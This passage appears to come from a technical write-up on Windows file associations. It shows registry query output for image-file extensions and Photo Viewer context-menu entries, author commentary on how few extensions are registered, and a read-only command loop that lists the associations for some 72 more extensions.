    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;*System.Image.Dimensions;*System.Size;*System.OfflineAvailability;*System.OfflineStatus;*System.DateCreated;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Origin;System.Photo.DateTaken;System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions;*System.Size
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.DateAccessed;*System.SharedWith
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\Shell\setdesktopwallpaper
    MultiSelectModel    REG_SZ    Player
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    NeverDefault    REG_SZ    
    SuppressionSlapiPolicy    REG_SZ    ChangeDesktopBackground-Enabled

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\ShellEx\{BB2E617C-0920-11d1-9A0B-00C04FC2D6C1}
    (Default)    REG_SZ    {3F30C968-480A-4C6C-862D-EFC0897BB84B}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}
    (Default)    REG_SZ    {C7657C4A-9F68-40fa-A4DF-96BC08EB3551}

OUCH²: only 11 (in words: eleven) file extensions supported by a single application provided in a DLL are registered with entries for the context menu – .bmp, .dib, .ico, .jfif, .jpe, .jpeg, .jpg, .png, .tif, .tiff and .wdp for the Windows Photo Viewer!

Note: the registry entries for these 11 file extensions were already shown in step 1.

Start the Command Processor Cmd.exe, then execute the following command lines to display the registry entries for some 72 file extensions supported by the dedicated applications named above:

FOR %? IN (.bat .cmd .diagcab .diagcfg .diagpkg .ini .log .txt
           .etl .evt .evtx .hta .chm .sed .inf .hlp .msc .eml .nws
           .bmp .dib .emf .gif .ico .jfif .jpe .jpeg .jpg .png .rle .tif .tiff .wmf
           .printerExport .reg .pbk .blg .perfmoncfg .resmoncfg
           .webpnp .nfo .rdp .wbcat .contact .group .p7c .vcf .wab
           .cpl .scr .msdvd .mig .fon .otf .ttc .ttf .msi .msp .msrcincident
           .js .jse .vbe .vbs .wsf .wsh .msu .wri .rtf .odt .doc .docx .xps) DO @(
REG.EXE QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\%? /S) 2>NUL:

Note: the command lines can be copied and pasted as block into a Command Processor window.

Microsoft Windows [Version 10.0.26200.6584]
(c) Microsoft Corporation. All rights reserved.

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.txt
    PerceivedType    REG_SZ    document

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.inf\shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.inf\shell\Install
    (Default)    REG_SZ    &Install
    MUIVerb    REG_EXPAND_SZ    @%SystemRoot%\System32\setupapi.dll,-2002

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.inf\shell\Install\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\InfDefaultInstall.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;*System.DateModified;*System.Image.Dimensions
    FullDetails    REG_SZ    prop:System.PropGroup.Image;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.BitDepth;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
